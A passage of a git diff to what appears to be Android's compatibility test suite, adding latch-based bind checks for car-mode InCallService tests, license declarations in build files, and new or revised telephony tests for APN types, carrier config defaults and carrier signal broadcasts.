+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
+
+        // Revoke App Ops Permission
+        setInCallServiceAppOpsPermission(false);
+    }
+
+    /**
+     *
+     * @param bind: check the status of InCallService bind latches.
+     *             Values: true (bound latch), false (unbound latch).
+     * @param success: whether the latch should have counted down.
+     */
+    private void assertBindStatus(boolean bind, boolean success) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return success;
+            }
+
+            @Override
+            public Object actual() {
+                try {
+                    return mICtsThirdPartyInCallServiceControl.checkBindStatus(bind);
+                } catch (RemoteException re) {
+                    Log.e(TAG, "Remote exception when checking bind status: " + re);
+                    return false;
+                }
+            }
+        }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "Unable to " + (bind ? "Bind" : "Unbind")
+                + " third party in call service");
+    }
+
+    private void assertCallCount(int expected) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return expected;
+            }
+
+            @Override
+            public Object actual() {
+                try {
+                    return mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+                } catch (RemoteException re) {
+                    Log.e(TAG, "Remote exception when getting local call count: " + re);
+                    return -1;
+                }
+            }
+         }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Failed to match localCallCount and expected: " + expected);
+    }
+
+    private void setUpControl() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsThirdPartyInCallServiceControl.CONTROL_INTERFACE_ACTION);
+        // mContext is android.telecom.cts, which doesn't include thirdptyincallservice.
+        ComponentName controlComponentName =
+              ComponentName.createRelative(
+                    CtsThirdPartyInCallServiceControl.class.getPackage().getName(),
+                            CtsThirdPartyInCallServiceControl.class.getName());
+
+        bindIntent.setComponent(controlComponentName);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                Log.i(TAG, "Service Connected: " + name);
+                mICtsThirdPartyInCallServiceControl =
+                        ICtsThirdPartyInCallServiceControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mICtsThirdPartyInCallServiceControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    private void setInCallServiceAppOpsPermission(boolean allow)
+            throws PackageManager.NameNotFoundException {
+        int uid = mPackageManager.getApplicationInfo(THIRD_PARITY_PACKAGE_NAME, 0).uid;
+        invokeMethodWithShellPermissionsNoReturn(mAppOpsManager,
+              (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS,
+                      uid, allow ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(
+                              AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS)));
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
index d4da08a..7b0e431 100644
--- a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
@@ -23,16 +23,21 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * A simple car-mode InCallService implementation.
  */
 public class CtsCarModeInCallService extends InCallService {
     private static final String TAG = CtsCarModeInCallService.class.getSimpleName();
+    private static final long TIMEOUT = 10000L;
     private static boolean sIsServiceBound = false;
     private static boolean sIsServiceUnbound = false;
     private static CtsCarModeInCallService sInstance = null;
     private int mCallCount = 0;
+    private static CountDownLatch sBoundLatch;
+    private static CountDownLatch sUnboundLatch;
     private List<Call> mCalls = new ArrayList<>();
 
     @Override
@@ -40,6 +45,7 @@
         sIsServiceBound = true;
         sIsServiceUnbound = false;
         sInstance = this;
+        sBoundLatch.countDown();
         Log.i(TAG, "InCallService on bind");
         return super.onBind(intent);
     }
@@ -49,6 +55,7 @@
         sIsServiceBound = false;
         sIsServiceUnbound = true;
         sInstance = null;
+        sUnboundLatch.countDown();
         Log.i(TAG, "InCallService on unbind");
         return super.onUnbind(intent);
     }
@@ -82,6 +89,8 @@
     public static void reset() {
         sIsServiceUnbound = false;
         sIsServiceBound = false;
+        sBoundLatch = new CountDownLatch(1);
+        sUnboundLatch = new CountDownLatch(1);
     }
 
     public int getCallCount() {
@@ -93,4 +102,17 @@
             call.disconnect();
         }
     }
+
+    public static boolean checkBindStatus(boolean bind) {
+        Log.i(TAG, "checking latch status: service " + (bind ? "bound" : "not bound"));
+        return bind ? checkLatch(sBoundLatch) : checkLatch(sUnboundLatch);
+    }
+
+    private static boolean checkLatch(CountDownLatch latch) {
+        try {
+            return latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return false;
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
index 3ec5d83..d251c32 100644
--- a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
@@ -74,6 +74,11 @@
             UiModeManager uiModeManager = getSystemService(UiModeManager.class);
             uiModeManager.disableCarMode(0);
         }
+
+        @Override
+        public boolean checkBindStatus(boolean bind) {
+            return CtsCarModeInCallService.checkBindStatus(bind);
+        }
     };
 
     @Override
diff --git a/tests/tests/telecom2/Android.bp b/tests/tests/telecom2/Android.bp
index abc14a8..c86b7ae 100644
--- a/tests/tests/telecom2/Android.bp
+++ b/tests/tests/telecom2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTelecomTestCases2",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom3/Android.bp b/tests/tests/telecom3/Android.bp
index 1b87231..84bcd1b 100644
--- a/tests/tests/telecom3/Android.bp
+++ b/tests/tests/telecom3/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 res_dirs = ["../telecom/res"]
 android_test {
     name: "CtsTelecomTestCases3",
diff --git a/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java b/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java
index d0e8e48..5538f42 100644
--- a/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java
+++ b/tests/tests/telecom3/src/android/telecom/cts/SelfManagedAwareInCallServiceTest.java
@@ -20,6 +20,7 @@
 import android.content.Context;
 import android.graphics.Color;
 import android.net.Uri;
+import android.os.Bundle;
 import android.telecom.Call;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
@@ -48,6 +49,13 @@
             new PhoneAccountHandle(new ComponentName(PACKAGE, SELF_MANAGED_COMPONENT),
                     SELF_MANAGED_ACCOUNT_ID_1);
 
+    public static final Bundle TEST_SELF_MANAGED_EXTRA;
+    static {
+        TEST_SELF_MANAGED_EXTRA = new Bundle();
+        TEST_SELF_MANAGED_EXTRA.putBoolean(
+                PhoneAccount.EXTRA_ADD_SELF_MANAGED_CALLS_TO_INCALLSERVICE, true);
+    }
+
     public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT = PhoneAccount.builder(
             TEST_SELF_MANAGED_HANDLE, SELF_MANAGED_ACCOUNT_LABEL)
             .setAddress(Uri.parse("sip:test@test.com"))
@@ -59,6 +67,7 @@
             .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
             .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
             .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .setExtras(TEST_SELF_MANAGED_EXTRA)
             .build();
 
     @Override
diff --git a/tests/tests/telephony/TestFinancialSmsApp/Android.bp b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
index 9d1a7fd..4957a53 100644
--- a/tests/tests/telephony/TestFinancialSmsApp/Android.bp
+++ b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "TestFinancialSmsApp",
 
@@ -26,4 +30,4 @@
         "general-tests",
         "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/TestSmsApp/Android.bp b/tests/tests/telephony/TestSmsApp/Android.bp
index b2f5775..694d835 100644
--- a/tests/tests/telephony/TestSmsApp/Android.bp
+++ b/tests/tests/telephony/TestSmsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "TestSmsApp",
     sdk_version: "test_current",
@@ -27,4 +31,4 @@
         "general-tests",
         "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/TestSmsApp22/Android.bp b/tests/tests/telephony/TestSmsApp22/Android.bp
index 3a0b476..95a0872 100644
--- a/tests/tests/telephony/TestSmsApp22/Android.bp
+++ b/tests/tests/telephony/TestSmsApp22/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "TestSmsApp22",
     sdk_version: "test_current",
@@ -27,4 +31,4 @@
         "general-tests",
         "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index ac83a84..2ae8c7a 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "TestSmsRetrieverApp",
 
@@ -26,4 +30,4 @@
         "general-tests",
         "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 046587c..1876bc7 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "telephony-cts-ims-common-srcs",
     srcs: [
@@ -20,8 +24,13 @@
         "src/android/telephony/ims/cts/TestMmTelFeature.java",
         "src/android/telephony/ims/cts/TestImsSmsImpl.java",
         "src/android/telephony/ims/cts/TestImsConfig.java",
+        "src/android/telephony/ims/cts/TestImsRegistration.java",
+        "src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java",
         "src/android/telephony/ims/cts/TestSipTransport.java",
+        "src/android/telephony/ims/cts/TestSipDelegate.java",
+        "src/android/telephony/ims/cts/TestSipDelegateConnection.java",
         "src/android/telephony/ims/cts/ImsUtils.java",
+	"src/android/telephony/ims/cts/TestAcsClient.java",
     ],
     path: "src/",
 }
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index f6b655e..9a6b0e2 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -150,6 +150,28 @@
             </intent-filter>
         </service>
 
+        <!-- Activity that allows the user to trigger the UCE APIs -->
+        <activity android:name="android.telephony.ims.cts.UceActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.ims.cts.action_finish"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name="android.telephony.gba.cts.TestGbaService"
+            android:directBootAware="true"
+            android:permission="android.permission.BIND_GBA_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.gba.GbaService"/>
+            </intent-filter>
+        </service>
+
         <activity android:name="android.telephony.cts.StubDialerActvity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
index fb79bb1..b112018 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
@@ -14,6 +14,10 @@
 
 // Build the Sample Embms Services
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "EmbmsMiddlewareCtsTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
index 4721538..1807b4f 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "LocationAccessingApp",
     defaults: ["cts_defaults"],
@@ -21,4 +25,4 @@
         "src/**/*.java",
         "aidl/**/I*.aidl",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
index 2635472..1bb3967 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "LocationAccessingAppSdk28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
index eb77c19..e3f9bd5 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TestExternalImsServiceApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/permissions/Android.bp b/tests/tests/telephony/current/permissions/Android.bp
index ebd04ce..e6e7541 100644
--- a/tests/tests/telephony/current/permissions/Android.bp
+++ b/tests/tests/telephony/current/permissions/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTelephonyTestCasesPermissionReadPhoneState",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/preconditions/Android.bp b/tests/tests/telephony/current/preconditions/Android.bp
index ddb3262..bf62f00 100644
--- a/tests/tests/telephony/current/preconditions/Android.bp
+++ b/tests/tests/telephony/current/preconditions/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "compatibility-host-telephony-preconditions",
 
diff --git a/tests/tests/telephony/current/preconditions/app/Android.bp b/tests/tests/telephony/current/preconditions/app/Android.bp
index debc2e3..813802e 100644
--- a/tests/tests/telephony/current/preconditions/app/Android.bp
+++ b/tests/tests/telephony/current/preconditions/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsTelephonyPreparerApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
index a7224f3..1be3eb8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
@@ -19,26 +19,56 @@
 import static org.junit.Assert.assertEquals;
 
 import android.telephony.data.ApnSetting;
+import android.util.ArrayMap;
 
 import org.junit.Test;
 
+import java.util.Map;
+
 public class ApnSettingTest {
-    @Test
-    public void testGetApnTypesStringFromBitmaskWithDefault() {
-        String value = ApnSetting.getApnTypesStringFromBitmask(ApnSetting.TYPE_DEFAULT);
-        assertEquals(value, "hipri,default");
+    private static final Map<String, Integer> EXPECTED_STRING_TO_INT_MAP;
+    private static final Map<Integer, String> EXPECTED_INT_TO_STRING_MAP;
+    static {
+        EXPECTED_STRING_TO_INT_MAP = new ArrayMap<>();
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_DEFAULT_STRING, ApnSetting.TYPE_DEFAULT);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_MMS_STRING, ApnSetting.TYPE_MMS);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_SUPL_STRING, ApnSetting.TYPE_SUPL);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_DUN_STRING, ApnSetting.TYPE_DUN);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_HIPRI_STRING, ApnSetting.TYPE_HIPRI);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_FOTA_STRING, ApnSetting.TYPE_FOTA);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_IMS_STRING, ApnSetting.TYPE_IMS);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_CBS_STRING, ApnSetting.TYPE_CBS);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_IA_STRING, ApnSetting.TYPE_IA);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_EMERGENCY_STRING, ApnSetting.TYPE_EMERGENCY);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_MCX_STRING, ApnSetting.TYPE_MCX);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_XCAP_STRING, ApnSetting.TYPE_XCAP);
+
+        EXPECTED_INT_TO_STRING_MAP = new ArrayMap<>();
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_DEFAULT, ApnSetting.TYPE_DEFAULT_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_MMS, ApnSetting.TYPE_MMS_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_SUPL, ApnSetting.TYPE_SUPL_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_DUN, ApnSetting.TYPE_DUN_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_HIPRI, ApnSetting.TYPE_HIPRI_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_FOTA, ApnSetting.TYPE_FOTA_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_IMS, ApnSetting.TYPE_IMS_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_CBS, ApnSetting.TYPE_CBS_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_IA, ApnSetting.TYPE_IA_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_EMERGENCY, ApnSetting.TYPE_EMERGENCY_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_MCX, ApnSetting.TYPE_MCX_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_XCAP, ApnSetting.TYPE_XCAP_STRING);
     }
 
     @Test
-    public void testGetApnTypesStringFromBitmaskWithSingleValue() {
-        String value = ApnSetting.getApnTypesStringFromBitmask(ApnSetting.TYPE_DUN);
-        assertEquals(value, "dun");
+    public void testIntToString() {
+        for (Map.Entry<Integer, String> e : EXPECTED_INT_TO_STRING_MAP.entrySet()) {
+            assertEquals(e.getValue(), ApnSetting.getApnTypeString(e.getKey()));
+        }
     }
 
     @Test
-    public void testGetApnTypesStringFromBitmaskWithSeveralValues() {
-        String value = ApnSetting.getApnTypesStringFromBitmask(ApnSetting.TYPE_MCX
-                | ApnSetting.TYPE_DUN | ApnSetting.TYPE_EMERGENCY);
-        assertEquals(value, "dun,emergency,mcx");
+    public void testStringToInt() {
+        for (Map.Entry<String, Integer> e : EXPECTED_STRING_TO_INT_MAP.entrySet()) {
+            assertEquals((int) e.getValue(), ApnSetting.getApnTypeInt(e.getKey()));
+        }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index c93d62b..05f4023 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -163,6 +163,15 @@
             assertEquals("KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL doesn't match static default.",
                     config.getBoolean(CarrierConfigManager.KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL),
                     false);
+            assertEquals("KEY_SUPPORTS_CALL_COMPOSER_BOOL doesn't match static default.",
+                    config.getBoolean(CarrierConfigManager.KEY_SUPPORTS_CALL_COMPOSER_BOOL),
+                            false);
+            assertEquals("KEY_CALL_COMPOSER_PICTURE_SERVER_URL_STRING doesn't match static"
+                    + " default.", config.getString(
+                            CarrierConfigManager.KEY_CALL_COMPOSER_PICTURE_SERVER_URL_STRING), "");
+            assertEquals("KEY_CARRIER_USSD_METHOD_INT doesn't match static default.",
+                    config.getInt(CarrierConfigManager.KEY_CARRIER_USSD_METHOD_INT),
+                            CarrierConfigManager.USSD_OVER_CS_PREFERRED);
         }
 
         // These key should return default values if not customized.
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
new file mode 100644
index 0000000..a621d9e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.os.PersistableBundle;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class CarrierSignalTest {
+    private class TestReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mIntentFuture.complete(intent);
+        }
+    }
+
+    private static final int TEST_TIMEOUT_MILLIS = 5000;
+    private Context mContext;
+    private CarrierConfigManager mCarrierConfigManager;
+    private int mTestSub;
+    private CompletableFuture<Intent> mIntentFuture = new CompletableFuture<>();
+    private final TestReceiver mReceiver = new TestReceiver();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+        mTestSub = SubscriptionManager.getDefaultSubscriptionId();
+
+        String[] carrierConfigData = new String[] {
+                new ComponentName(mContext.getPackageName(),
+                        mReceiver.getClass().getName()).flattenToString()
+                        + ":"
+                        // add more actions here as tests increase.
+                        + String.join(",", TelephonyManager.ACTION_CARRIER_SIGNAL_RESET)
+        };
+        PersistableBundle b = new PersistableBundle();
+        b.putStringArray(CarrierConfigManager.KEY_CARRIER_APP_NO_WAKE_SIGNAL_CONFIG_STRING_ARRAY,
+                carrierConfigData);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mCarrierConfigManager,
+                (cm) -> cm.overrideConfig(mTestSub, b));
+        // We have no way of knowing when CarrierSignalAgent processes this broadcast, so sleep
+        // and hope for the best.
+        Thread.sleep(1000);
+    }
+
+    @After
+    public void tearDown() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mCarrierConfigManager,
+                (cm) -> cm.overrideConfig(mTestSub, null));
+        ConnectivityManager cm = mContext.getSystemService(ConnectivityManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(cm,
+                x -> x.setAirplaneMode(false));
+        try {
+            mContext.unregisterReceiver(mReceiver);
+        } catch (Throwable t) { }
+    }
+
+    @Test
+    public void testResetBroadcast() throws Exception {
+        mIntentFuture = new CompletableFuture<>();
+        mContext.registerReceiver(mReceiver,
+                new IntentFilter(TelephonyManager.ACTION_CARRIER_SIGNAL_RESET));
+
+        // Enable airplane mode to force the reset action
+        ConnectivityManager cm = mContext.getSystemService(ConnectivityManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(cm,
+                x -> x.setAirplaneMode(true));
+
+        Intent receivedIntent = mIntentFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        assertEquals(mTestSub,
+                receivedIntent.getIntExtra(SubscriptionManager.EXTRA_SUBSCRIPTION_INDEX, -1));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
index 3be25e6..72239ac 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
@@ -30,9 +30,12 @@
 
 public class CellBroadcastDataMigrationTest {
     private static final String TAG = CellBroadcastDataMigrationTest.class.getSimpleName();
+    private static final String DEFAULT_LEGACY_DATA_MIGRATION_APP =
+            "com.android.cellbroadcastreceiver";
+
     /**
      * To support data migration when upgrading from an older device, device need to define
-     * legacy content provider. This tests verify that the legacy cellbroadcast contentprovider
+     * legacy content provider. This tests verify that the AOSP legacy cellbroadcast contentprovider
      * only surfaces data for migration. The data should be protected by proper permissions and
      * it should be headless without any other activities, services or providers to handle alerts.
      */
@@ -49,6 +52,13 @@
         assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
                 android.Manifest.permission.READ_CELL_BROADCASTS, legacy.readPermission);
 
+        // Skip headless check for OEM defined data migration app. e.g, OEMs might use messaging
+        // apps to store CBR data pre-R.
+        if (!DEFAULT_LEGACY_DATA_MIGRATION_APP.equals(legacy.applicationInfo.packageName)) {
+            Log.d(TAG, "Device support data migration from OEM apps");
+            return;
+        }
+
         // And finally verify that legacy provider is headless. We expect the legacy provider only
         // surface the old data for migration rather than handling emergency alerts.
         final PackageInfo legacyPackage = InstrumentationRegistry.getContext().getPackageManager()
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
index b87d594..1112b28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
@@ -22,6 +22,7 @@
 import android.telephony.CellIdentity;
 import android.telephony.CellIdentityCdma;
 import android.telephony.CellIdentityGsm;
+import android.telephony.CellIdentityLte;
 import android.telephony.CellIdentityNr;
 import android.telephony.CellIdentityTdscdma;
 import android.telephony.CellIdentityWcdma;
@@ -97,14 +98,48 @@
     }
 
     @Test
-    public void testCellIdentityNr_asCellLocation() {
-        CellIdentity cellIdentity =
-                new CellIdentityNr(123, 456, 789, null, null, null, 0, null, null, EMPTY_SET);
+    public void testCellIdentityLte_asCellLocation() {
+        int tac = 1;
+        int ci = 2;
+        CellIdentity cellIdentity = new CellIdentityLte(123, 456, ci, 7, tac);
 
         CellLocation cellLocation = cellIdentity.asCellLocation();
 
         GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
